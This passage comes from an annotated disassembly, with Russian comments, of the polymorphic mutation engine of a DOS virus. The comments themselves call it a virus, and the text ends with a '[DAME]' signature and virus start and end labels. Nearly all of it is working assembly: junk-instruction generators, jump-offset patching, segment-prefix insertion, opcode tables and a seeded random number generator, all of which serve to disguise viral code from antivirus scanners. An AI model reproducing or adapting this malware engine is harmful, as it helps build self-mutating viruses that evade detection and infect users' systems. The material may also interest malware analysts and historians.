ah,0EBh ; cmd JMP SHORT безусловный 08A7 74 0C jz short loc_08B5 ; Jump if RND = 0 08A9 B4 DF mov ah,0DFh ; команды закрытия цикла 08AB 02 E0 add ah,al 08AD 2C 05 sub al,5 08AF 72 04 jc short loc_08B5 ; Jump if carry Set 08B1 B4 70 mov ah,70h ; JMP SHORT по условию 08B3 02 E0 add ah,al 08B5 loc_08B5: 08B5 8A C4 mov al,ah 08B7 32 E4 xor ah,ah ; Zero register 08B9 5A pop dx ;-------------- занести в массив информацию про еще один SHORT переход 08BA 2E: FF 36 06BE push cs:StackCounter ;─┐ 08BF 43 inc bx ; │ Новый SHORT переход 08C0 53 push bx ; │ 08C1 4B dec bx ;─┘ 08C2 52 push dx 08C3 EB B6 jmp short loc_087B sub_0892 endp ;============================================================================== ; Вызов процедуры формирования смещений для SHORT переходов ;============================================================================== sub_08C5 proc near 08C5 E8 0001 call sub_08C9 ; То что не вызывается напрямую - ; ключевой момент 08C8 loc_ret_08C8: 08C8 C3 retn sub_08C5 endp ;============================================================================== ; Процедура простановки смещений в инструкциях короткого перехода (SHORT) ; Примечание : SHORT переходы могут быть только внутри участка, но не между ; участками, даже если они в одной подпрограмме ;============================================================================== sub_08C9 proc near 08C9 2E: 8F 06 0921 pop cs:data_0921 08CE 5A pop dx 08CF 8B CB mov cx,bx ; текущий указатель адреса ; генерируемого участка 08D1 loc_08D1: 08D1 5E pop si 08D2 0B F6 or si,si ; Mark-end ? 08D4 74 48 jz short loc_091E ; Jump to exit if YES ;------------------------------------------------------------------------------ 08D6 58 pop ax ; Количество слов в счетчике ; стека на момент записи ко- ; манды SHORT перехода 08D7 2E: 83 3E 06F3 00 cmp cs:data_06F3,0 ; На этом участке со стеком ; что-нибудь делали ? 08DD 74 0F je short loc_08EE ; НЕТ. Тогда нечего проверять ; ДА, делали. ; Пытаемся корректировать стек к значению до команды перехода 08DF 2E: 87 06 06BE xchg cs:StackCounter,ax 08E4 2E: 2B 06 06BE sub ax,cs:StackCounter 08E9 E8 FF53 call sub_083F 08EC EB 0B jmp short loc_08F9 08EE loc_08EE: 08EE 2E: 3B 06 06BE cmp ax,cs:StackCounter 08F3 73 04 jae short loc_08F9 ; Jump if above or = 08F5 2E: A3 06BE mov cs:StackCounter,ax ;------------------------------------------------------------------------------ 08F9 loc_08F9: 08F9 8B C3 mov ax,bx ; ─┐ Расстояние от текущего 08FB 2B C6 sub ax,si ; │ адреса до команды перехода 08FD 48 dec ax ; │ менее 128 байт ? 08FE 3D 0080 cmp ax,80h ; ─┘ 0901 72 14 jb short loc_0917 ; Jump if YES 0903 2E: 83 3E 06F3 00 cmp cs:data_06F3,0 ; На этом участке делали ; что-нибудь со стеком ? 0909 75 0A jne short loc_0915 ; Jump if YES ; Если со стеком ничего не делали, то можно ; поставить переход и на соседние команды переходов 090B 8B C1 mov ax,cx ; ─┐ Расстояние между двумя 090D 2B C6 sub ax,si ; │ командами SHORT переходов 090F 48 dec ax ; │ менее 128 байт ? 0910 3D 0080 cmp ax,80h ; ─┘ 0913 72 02 jb short loc_0917 ; Jump if YES 0915 loc_0915: 0915 32 C0 xor al,al ; Ставим смещение 0 0917 loc_0917: 0917 8D 4C FF lea cx,[si-1] ; CX - адрес предыдущего ; перехода 091A 88 04 mov [si],al ; Записать полученное смещение 091C EB B3 jmp short loc_08D1 091E loc_091E: 091E 56 push si 091F 52 push dx 0920 B8 ???? mov ax,1111h data_0921 = word ptr $ - 2 0923 FF E0 jmp ax ; Register jump sub_08C9 endp ;===================================================================[MemModify] ; Оперции пересылки в память (MOV mem / POP mem) ;============================================================================== sub_0925 proc near 0925 E8 00EC call sub_0A14 ; Как там с сегментом данных ? 0928 E8 FA1A call RND_01 ; Вероятность MOV и POP - 1/2 092B 74 07 jz short loc_0934 ; Jump if RND=0 092D loc_092D: 092D E8 FA15 call RND_01 ; Выбираем: слова или байты 0930 0C A2 or al,0A2h ; cmd MOV mem, reg 0932 EB 43 jmp short loc_0977 0934 loc_0934: 0934 2E: A1 06BE mov ax,cs:StackCounter 0938 2E: 3B 06 06F3 cmp ax,cs:data_06F3 ; Есть ли сейчас на участке не ; снятые со стека слова ? 093D 74 EE je loc_092D ; Jump if NO ;------------------------------------------------------------------------------ 093F 2E: FF 0E 06BE dec cs:StackCounter ; уменьшить счетчик стека на 1 0944 B0 8F mov al,8Fh ; cmd POP R/M 0946 E8 FD02 call Write_byte 0949 B0 06 mov al,6 ; Байт адресации ; (MOD=00,R/M=disp16) 094B EB 2A jmp short loc_0977 sub_0925 endp ;===================================================================[MemModify] ; Арифметические операции над памятью из набора data_0A43 ;============================================================================== sub_094D proc near 094D E8 00C4 call sub_0A14 ; Как там с сегментом данных ? 0950 B8 000C mov ax,0Ch 0953 E8 F9F2 call RND_0_AX 0956 96 xchg si,ax 0957 2E: 8A 84 0A43 mov al,cs:data_0A43[si] 095C 34 02 xor al,2 ; Меняем напрвление пересылки ; результата 095E EB 6A jmp short loc_09CA sub_094D endp ;===================================================================[MemModify] ; Операции NOT/NEG и INC/DEC над содержимым памяти ;============================================================================== sub_0960 proc near 0960 E8 00B1 call sub_0A14 ; Как там с сегментом данных ? 0963 E8 F9DF call RND_01 ; Вероятность - 1/2 0966 74 11 jz short loc_0979 ; Jump if zero ;-[ Набор Grp 2/3 ]-[ cmd DEC/INC ]-------------------------------------------- 0968 E8 F9DA call RND_01 ; Выбираем: слова или байты 096B 0C FE or al,0FEh 096D E8 FCDB call Write_byte ; запись команды набора 0970 E8 F9BE call RND_0_FF 0973 24 08 and al,00001000b ; При MOD=00 0975 0C 06 or al,00000110b ; и адресацией disp16 0977 loc_0977: 0977 EB 63 jmp short sub_09DC ; сформировать адрес модификации ;-[ Набор Grp 1 ]-[ cmd NOT/NEG ]---------------------------------------------- 0979 loc_0979: 0979 E8 F9C9 call RND_01 ; Выбираем: слова или байты 097C 0C F6 or al,0F6h 097E E8 FCCA call Write_byte ; запись команды набора 0981 E8 F9AD call RND_0_FF 0984 24 08 and al,00001000b ; При MOD=00 0986 0C 16 or al,00010110b ; и адресацией disp16 0988 EB 52 jmp short sub_09DC ; сформировать адрес модификации sub_0960 endp ;===================================================================[MemModify] ; ;============================================================================== sub_098A proc near 098A E8 0087 call sub_0A14 ; Как там с сегментом данных ? 098D E8 F9A9 call RND_0_F ; С вероятностью 1/16 используется команда из набора Grp1 ; F6 006 xx xx zz - TEST byte ptr [xxxx], zz ; F7 006 xx xx zz zz - TEST word ptr [xxxx], zzzz 0990 B2 F6 mov dl,0F6h 0992 74 21 jz short loc_09B5 ; Jump if zero ; С вероятностью 1/16 используется команда из набора ; C6 006 xx xx zz - MOV byte ptr [xxxx], zz ; C7 006 xx xx zz zz - MOV word ptr [xxxx], zzzz 0994 B2 C6 mov dl,0C6h 0996 48 dec ax 0997 74 1C jz short loc_09B5 ; Jump if zero ; С вероятностью 14/16 используется команда из набора ArOp 1/2 ; 80/82 0?6 xx xx zz - ArOp byte ptr [xxxx], zz ; 81/83 0?6 xx xx zz zz - ArOp word ptr [xxxx], zzzz 0999 E8 F9A3 call RND_0123 099C 50 push ax 099D 0C 80 or al,80h ; AL = 80h..83h 099F E8 FCA9 call Write_byte ; Запись команды ;--------------- Определяемся с байтом адресации ------------------------------ 09A2 E8 F991 call RND_0_3F ; Генерация байта адресации ; MOD = 00 09A5 0C 07 or al,00000111b 09A7 48 dec ax ; AX = 00???110b (disp16) ;------------------------------------------------------------------------------ 09A8 loc_09A8: 09A8 E8 0031 call sub_09DC ; сформировать адрес модификации ; (xxxx) ;--------------- сформировать операнд (zzzz) 09AB 58 pop ax 09AC 48 dec ax 09AD 74 03 jz short loc_09B2 ; Jump if zero 09AF E9 FC6B jmp loc_061D ; IM8 (zz) 09B2 loc_09B2: 09B2 E9 FC7B jmp loc_0630 ; IM16 (zzzz) ;------------------------------------------------------------------------------ 09B5 loc_09B5: 09B5 E8 F98D call RND_01 ; Выбираем: слова или байты 09B8 50 push ax 09B9 0A C2 or al,dl 09BB E8 FC8D call Write_byte ; Записать команду 09BE B0 06 mov al,00000110b ; MOD=00, R/M=disp16 09C0 EB E6 jmp short loc_09A8 sub_098A endp ;===================================================================[MemModify] ; Генерация операций вращения/сдвига содержимого памяти (КОП = D0h,D1h,D2h,D3h) ; -= ShiftOperation with mem =- ShftOp [mem], (nn=1 or CL) ;============================================================================== sub_09C2 proc near 09C2 E8 004F call sub_0A14 ; Как там с сегментом данных ? 09C5 E8 F977 call RND_0123 09C8 0C D0 or al,0D0h ; AX = RND (D0h..D3h) ;------------------------------------------------------------------------------ 09CA loc_09CA: 09CA E8 FC7E call Write_byte ; Запись команды 09CD 92 xchg dx,ax ; DL = КОП 09CE E8 F960 call RND_0_FF ; AX = случайный байт адресации ; т.к. через эти команды проходит не только процедура sub_09C2 ; но и другие процедуры, то нужно проверить кое-что 09D1 80 FA 8C cmp dl,8Ch ; этим "кое-что" есть команда ; MOV r/m, SEG 09D4 75 02 jne short loc_09D8 09D6 24 18 and al,00011000b ; т.к. в команде MOV r/m, SEG ; поле reg должно быть в диапазоне ; от 000 до 011, то нужно сбросить ; старший (для reg -0xx-) бит 09D8 loc_09D8: ; Все байты адресации настраиваются так, чтобы MOD=00, а операции ; производились бы только с непосредственным адресом памяти disp16 (R/M=110). ; Сделано так потому, что адреса вычисляемые через регистры общего ; назначения использовать нельзя в следствии их постоянной модификации. 09D8 24 38 and al,38h ; MOD = 00, reg = RND(0..7) 09DA 0C 06 or al,6 ; r/m = 6 (адресация только с disp16) ;============================================================================== ; Процедура формирует адрес ячейки памяти с которым МОЖНО производить ; операции модификации. В качестве таких ячеек используются адреса уже ; сгенерированных (пройденных) участков кода (берутся из ИНФО-блока). ; Принцип подбора такой : есть общее число (размер) уже сгенерированных ; байт. Берем из этого диапазона случайное число. Затем начинаем перебирать ; уже сгенерированные участки и пытаться в них втиснуться. На практике это ; означает ситуацию, когда модификации будут подвергаться те участки, кото- ; рые уже были пройдены и к ним уже не вернемся. ;============================================================================== sub_09DC proc near 09DC E8 FC6C call Write_byte ; Запись байта адресации 09DF B8 ???? mov ax,1111h ; AX = количество записанных BytesWrittenCounter = word ptr $ - 2 ; байт через процедуру Write_byte ; а фактически сколько уже ; сгенерировали байт "мусора" 09E2 48 dec ax 09E3 74 1B jz short loc_0A00 ; Jump if zero 09E5 E8 F960 call RND_0_AX ; Фактически случайное число в AX определяет в каком участке будет выделена ; ячейка памяти под модификацию 09E8 92 xchg dx,ax ; DX - случайное число в диапа- ; зоне уже сгенерированных ; байт 09E9 BE ???? mov si,1111h ; указатель на начало ИНФО-блока data_09EA = word ptr $ - 2 09EC loc_09EC: ; Читаем очередную запись в ИНФО-блоке 09EC AD lodsw ; String [si] to ax 09ED 91 xchg cx,ax 09EE AD lodsw ; String [si] to ax 09EF 42 inc dx 09F0 3B D1 cmp dx,cx 09F2 72 09 jb short loc_09FD ; Jump if below 09F4 74 01 jz short loc_09F7 ; Jump if zero 09F6 4A dec dx 09F7 loc_09F7: ; Переход к следующей записи в ИНФО-блоке 09F7 03 F1 add si,cx 09F9 2B D1 sub dx,cx 09FB EB EF jmp short loc_09EC 09FD loc_09FD: 09FD 4A dec dx 09FE 03 C2 add ax,dx ;---------------------------------------------------------------- ; Запись адреса ячейки памяти выделенной под модификацию 0A00 loc_0A00: 0A00 57 push di 0A01 50 push ax 0A02 BF 27BE mov di,1111h data_0A03 = word ptr $ - 2 0A05 AB stosw ; Store ax to es:[di] 0A06 96 xchg si,ax 0A07 A5 movsw ; Mov [si] to es:[di] 0A08 2E: 89 3E 0A03 mov cs:data_0A03,di 0A0D 58 pop ax 0A0E 5F pop di 0A0F FE C4 inc ah 0A11 E9 FC22 jmp loc_0636 sub_09DC endp sub_09C2 endp ;============================================================================== ; * Процедура вставки редиректора сегментов * ;============================================================================== ; Т.к. все операции по модификации памяти генерируемые вирусом по умолчанию ; производятся в сегменте данных DS, а возможна ситуация, когда регистр DS ; может модифицироваться в полиморфном "мусоре", то необходимо подствавить ре- ; сегментный редиректор (CS: ли SS:). Но если DS не меняется, то тогда необхо- ; димо проверить : а не было ли случайного редиректора. И если таковой был то ; добавляем команду NOP перед вставкой инструкции модификации памяти. ; Примечание : Если в ИНФО-блоке осталось свободно менее 6 байтов, то процедура ; снимает со стека не только обращение к себе но и обращение к вы- ; зывающей процедуре ;------------------------------------------------------------------------------ sub_0A14 proc near 0A14 2E: A1 09EA mov ax,cs:data_09EA 0A18 2E: 2B 06 0A03 sub ax,cs:data_0A03 0A1D 3D 0006 cmp ax,6 ; Есть ли место в ИНФО-блоке ? 0A20 73 02 jae short loc_0A24 ; Jump if above or = 0A22 58 pop ax 0A23 loc_ret_0A23: 0A23 C3 retn ;------------------------------------------------------------------------------ ; Место в ИНФО-блоке есть, можно вставлять редиректор сегментов. ; Примечание : data_0A25 - флаг модификации регистра DS ; = 0 - регистр DS не модифицируется ; = 1 - регистр DS модифицируется ;------------------------------------------------------------------------------ 0A24 loc_0A24: 0A24 B0 00 mov al,0 data_0A25 = byte ptr $ - 1 0A26 0A C0 or al,al ; DS меняется ? 0A28 74 0C jz short loc_0A36 ; Jump if NO. Так как в этом ; случае редиректор не нужен ; Выбираем какой сегментный регистр подставить ? 0A2A E8 F918 call RND_01 0A2D B0 2E mov al,2Eh ; SEG CS 0A2F 74 02 jz short loc_0A33 0A31 B0 36 mov al,36h ; SEG SS 0A33 loc_0A33: 0A33 E9 FC15 jmp loc_064B sub_0A14 endp ;============================================================================== ; Проверка на редиректор сегментов (была ли предыдущая команда редиректором) ;============================================================================== sub_0A36 proc near 0A36 loc_0A36: 0A36 8A 47 FF mov al,[bx-1] ; Выбрать предыдущую команду 0A39 24 E7 and al,not SEG_REGs ; Выделить биты 0A3B 3C 26 cmp al,26h ; Была операция подмены ; сегмента ? (ES:,SS:,CS:,DS:) 0A3D 75 E4 jne loc_ret_0A23 0A3F B0 90 mov al,90h ; Да. Подставляем NOP 0A41 EB F0 jmp short loc_0A33 sub_0A36 endp ;------------------------------------------------------------------------------------------------------- 0A43 02 data_0A43 dop 00000000b, in_reg ; ADD r(8/16), r/m (02,03) 0A44 0A dop 00001000b, in_reg ; OR r(8/16), r/m (0A,0B) 0A45 12 dop 00010000b, in_reg ; ADC r(8/16), r/m (12,13) 0A46 1A dop 00011000b, in_reg ; SBB r(8/16), r/m (1A,1B) 0A47 22 dop 00100000b, in_reg ; AND r(8/16), r/m (22,23) 0A48 2A dop 00101000b, in_reg ; SUB r(8/16), r/m (2A,2B) 0A49 32 dop 00110000b, in_reg ; XOR r(8/16), r/m (32,33) 0A4A 38 dop 00111000b, out_reg ; CMP r/m, r(8/16) (38,39) 0A4B 3A dop 00111000b, in_reg ; CMP r(8/16), r/m (3A,3B) 0A4C 84 dop 10000100b, out_reg ; TEST r/m, r(8/16) (84,85) 0A4D 8A dop 10001000b, in_reg ; MOV r(8/16), r/m (8A,8B) 0A4E 8E dop 10001100b, in_reg ; MOV seg, r/m (8E) ;------------------------------------------------------------------------------------------------------- 0A4F A0 data_0A4F db 10100000b ; MOV AL, [im8] (A0,A1) 0A50 04 db 00000100b ; ADD AL, im8 (04,05) 0A51 0C db 00001100b ; OR AL, im8 (0C,0D) 0A52 14 db 00010100b ; ADC AL, im8 (14,15) 0A53 1C db 00011100b ; SBB AL, im8 (1C,1D) 0A54 24 db 00100100b ; AND AL, im8 (24,25) 0A55 2C db 00101100b ; SUB AL, im8 (2C,2D) 0A56 34 db 00110100b ; XOR AL, im8 (34,35) 0A57 3C db 00111100b ; CMP AL, im8 (3C,3D) 0A58 A8 db 10101000b ; TEST AL, [im8] (A8,A9) ;------------------------------------------------------------------------------------------------------- 0A59 C5 data_0A59 db 11000101b ; LDS r16/mem (C5) 0A5A C4 db 11000100b ; LES r16/mem (C4) 0A5B 8D db 10001101b ; LEA r16/mem (8D) ;------------------------------------------------------------------------------------------------------- 0A5C 58 db 01011000b ; POP r16 (58-5F) 0A5D 50 data_0A5D db 01010000b ; PUSH r16 (50-57) 0A5E 48 db 01001000b ; DEC r16 (48-4F) 0A5F 40 db 01000000b ; INC r16 (40-47) 0A60 90 db 10010000b ; NOP, XCHG AX,r16 (90-97) ;------------------------------------------------------------------------------------------------------- 0A61 9C data_0A61 db 10011100b ; PUSHF (9C) 0A62 27 db 00100111b ; DAA (27) 0A63 2F db 00101111b ; DAS (2F) 0A64 37 db 00110111b ; AAA (37) 0A65 3F db 00111111b ; AAS (3F) 0A66 98 db 10011000b ; CBW (98) 0A67 99 db 10011001b ; CWD (99) 0A68 9E db 10011110b ; SAHF (9E) 0A69 9F db 10011111b ; LAHF (9F) 0A6A A6 db 10100110b ; CMPSB (A6) 0A6B AC db 10101100b ; LODSB (AC) 0A6C AE db 10101110b ; SCASB (AE) 0A6D D7 db 11010111b ; XLAT (D7) 0A6E F5 db 11110101b ; CMC (F5) 0A6F F8 db 11111000b ; CLC (F8) 0A70 F9 db 11111001b ; STC (F9) 0A71 FA db 11111010b ; CLI (FA) 0A72 FB db 11111011b ; STI (FB) 0A73 FC db 11111100b ; CLD (FC) 0A74 FD db 11111101b ; STD (FD) 0A75 A7 db 10100111b ; CMPSW (A7) 0A76 AD db 10101101b ; LODSW (AD) 0A77 AF db 10101111b ; SCASW (AF) ;------------------------------------------------------------------------------------------------------- ;========================================================================== ; Инициализация генератора псевдослучайных чисел ;========================================================================== RANDOMIZE proc near 0A78 52 push dx 0A79 51 push cx 0A7A B4 2C mov ah,2Ch 0A7C CD 21 int 21h ; DOS Services ah=function 2Ch ; get time, cx=hrs/min, dx=sec 0A7E E4 40 in al,40h ; port 40h, 8253 timer 0 clock 0A80 8A E0 mov ah,al 0A82 E4 40 in al,40h ; port 40h, 8253 timer 0 clock 0A84 33 C1 xor ax,cx 0A86 33 D0 xor dx,ax 0A88 EB 1B jmp short loc_0AA5 ;========================================================================== ; Получение значения генератора псевдослучайных чисел RND: 0A8A 52 push dx 0A8B 51 push cx 0A8C 53 push bx 0A8D B8 ???? mov ax,1111h data_0A8E = word ptr $ - 2 0A90 BA ???? mov dx,1111h data_0A91 = word ptr $ - 2 0A93 B9 0007 mov cx,7 0A96 locloop_0A96: 0A96 D1 E0 shl ax,1 ; Shift w/zeros fill 0A98 D1 D2 rcl dx,1 ; Rotate thru carry 0A9A 8A D8 mov bl,al 0A9C 32 DE xor bl,dh 0A9E 79 02 jns short loc_0AA2 ; Jump if not sign 0AA0 FE C0 inc al 0AA2 loc_0AA2: 0AA2 E2 F2 loop locloop_0A96 ; Loop if cx > 0 0AA4 5B pop bx 0AA5 loc_0AA5: 0AA5 2E: A3 0A8E mov cs:data_0A8E,ax 0AA9 2E: 89 16 0A91 mov cs:data_0A91,dx 0AAE 8A C2 mov al,dl 0AB0 59 pop cx 0AB1 5A pop dx 0AB2 C3 retn RANDOMIZE endp 0AB3 5B 44 41 4D 45 5D db '[DAME] [DAME]' 0AB9 20 5B 44 41 4D 45 0ABF 5D Vir_END equ $ seg_a ends end Vir_start